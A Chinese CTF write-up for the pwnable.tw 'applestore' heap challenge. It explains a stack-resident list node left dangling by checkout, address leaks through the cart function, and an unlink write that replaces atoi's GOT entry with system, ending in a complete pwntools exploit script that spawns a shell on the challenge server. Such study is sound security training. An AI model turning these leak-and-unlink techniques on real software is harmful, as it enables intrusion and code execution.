pwnable.tw applestore
applestore
首先检查一下保护
运行后可以看到是一个典型的堆管理的题目。
放入IDA中分析
main函数很简单,主要的功能在handler中。我们接着分析此函数。
list就是展示一下iPhone,ipad等的价格。
add函数功能是把商品加入购物车
其中先是create,再insert,有点儿像链表或者向量。
create函数在堆上创建了一个类似链表节点的结构体。
struct commodity{
char* name; //又指向堆上的一块内存,主要是由asprinf申请的。
int price;
struct commodity* fd;
struct commodity* bk;
};
/*
asprintf()可以说是一个增强版的sprintf(),在不确定字符串的长度时,非常灵活方便,能够根据格式化的字符串长度,申请足够的内存空间。此外,使用完后,必须通过free()释放空间。
*/
通过insert我们可以确定myCart是链表的头节点,insert就是将刚刚create的节点加入到myCart链表的末尾
delete函数,myCart链表中删除一个节点。
cart函数,通过遍历链表展示购物车中所有商品。
漏洞点在checkout函数中。当sum_price等于7174,也就是说我们购物车中的所有商品的价格总和等于7174,就可以1块买一部iPhone8,而这时创建的节点不在堆中,而是在栈上。在ebp-0x20的地方。我们买20台iphone6p,买6台iPhone6 价格等于20*299+6*199=7174
首先说一下为什么这里是漏洞点,我们把栈上的数据加入到链表中,由于checkout函数退出后,其栈空间就会被销毁,由于堆栈平衡原理,我们再调用cart等函数是有个my_read读入0x14个字节的数据到ebp-0x22到地方,可以覆盖这个节点。我们能控制这个节点的所有内容,包括fd,bk指针,那么我们可以通过cart函数泄漏地址,通过delete函数的unlink操作实现任意地址写入一个制定值。
泄漏libc地址
for i in range(0,6):
add(1)
for i in range(0,20):
add(2)
checkout()
gdb.attach(p,"b *0x8048b03 if $eax==0x1b")
payload='y\x0a'+p32(elf.got['puts'])+p32(1)+p32(0)+p32(0)
cart(payload)
p.recvuntil('27: ')
puts=u32(p.recv(4))
libc_base=puts-libc.sym['puts']
首先我们按之前说的凑够7174,再通过cart函数中的 my_read(&buf, 0x15u);
函数覆盖结构体的name字符串指针,为了防止fd,bk乱指,我们将其覆盖成0
未修改前的样子
修改后的样子
泄漏出了libc的地址我们可以算出system的地址,由于libc是不可写入的,我们不能通过unlink直接将atoi_got覆盖为system的地址。所以我们换种办法,我们可以看到handler函数也有my_read(&nptr, 0x15u);
我们要是能控制nptr的地址不就能实现任意地址写入0x15长度的数据了吗?由于nptr在栈上,我们必须要知道栈的地址。这个好办,libc中的environ变量保存着栈地址,我们利用同样的手法再泄漏一次就行了。
payload='y\x0a'+p32(env)+p32(1)+p32(0)+p32(0)
cart(payload)
p.recvuntil('27: ')
stack_env=u32(p.recv(4))
success('stack_env:'+hex(stack_env))
ebp=stack_env-0x104
success('stack_ebp:'+hex(ebp))
由于handler函数调用了cart函数,所以handler函数的栈帧在cart函数的下面,cart函数结束通过pop ebp来恢复handler函数的栈帧。我们只要将0xffffcf28的值改为我们想写入 (数据的地址+0x22) 接可以了。
我们通过unlink来实现。
atoi_got=elf.got['atoi']
payload='27'+p32(atoi_got)+p32(1)+p32(ebp-12)+p32(atoi_got+0x22-4)
delete(payload)
delete之后要打印节点的name,所以我们必须要传一个能打印的地址。
这里为什么是atoi_got+0x22-4呢? 减4是为什么呢?
FD->bk = BK
*((ebp-12)+12)=atoi_got+0x22-4
即 *ebp = atoi_got+0x22-4
我们读入的数据之后立马传递给atoi所以在前面要留些空间传递参数。
payload='$0\x00\x00'+p32(system)
p.sendline(payload)
我们不光覆盖了atoi为system,而且传递了$0参数,使得调用atoi函数时实际运行的是system("$0")
解题脚本
from pwn import *
context.log_level='DEBUG'
debug = 0
if debug:
p=process('./applestore')
libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
p=remote('chall.pwnable.tw',10104)
libc=ELF('libc_32.so.6')
elf=ELF('./applestore')
def add(idx):
p.sendlineafter('>','2')
p.sendlineafter('Device Number> ',str(idx))
def delete(idx):
p.sendlineafter('>','3')
p.sendlineafter('Item Number>',str(idx))
def checkout():
p.sendlineafter('>','5')
p.sendlineafter('>','y')
def cart(payload):
p.sendlineafter('>','4')
p.sendlineafter('>',str(payload))
for i in range(0,6):
add(1)
for i in range(0,20):
add(2)
#gdb.attach(p,"b *0x8048BA4")
checkout()
payload='y\x0a'+p32(elf.got['puts'])+p32(1)+p32(0)+p32(0)
cart(payload)
p.recvuntil('27: ')
puts=u32(p.recv(4))
print hex(puts)
libc_base=puts-libc.sym['puts']
success('libc_base:'+hex(libc_base))
system=libc_base+libc.sym['system']
env=libc_base+libc.sym['environ']
#gdb.attach(p,"b *0x8048b03 if $eax==0x1b")
payload='y\x0a'+p32(env)+p32(1)+p32(0)+p32(0)
cart(payload)
p.recvuntil('27: ')
stack_env=u32(p.recv(4))
success('stack_env:'+hex(stack_env))
ebp=stack_env-0x104
success('stack_ebp:'+hex(ebp))
atoi_got=elf.got['atoi']
payload='27'+p32(atoi_got)+p32(1)+p32(ebp-12)+p32(atoi_got+0x22-4)
#gdb.attach(p,"b *0x8048c08")
delete(payload)
payload='$0\x00\x00'+p32(system)
p.sendlineafter('> ',payload)
p.interactive()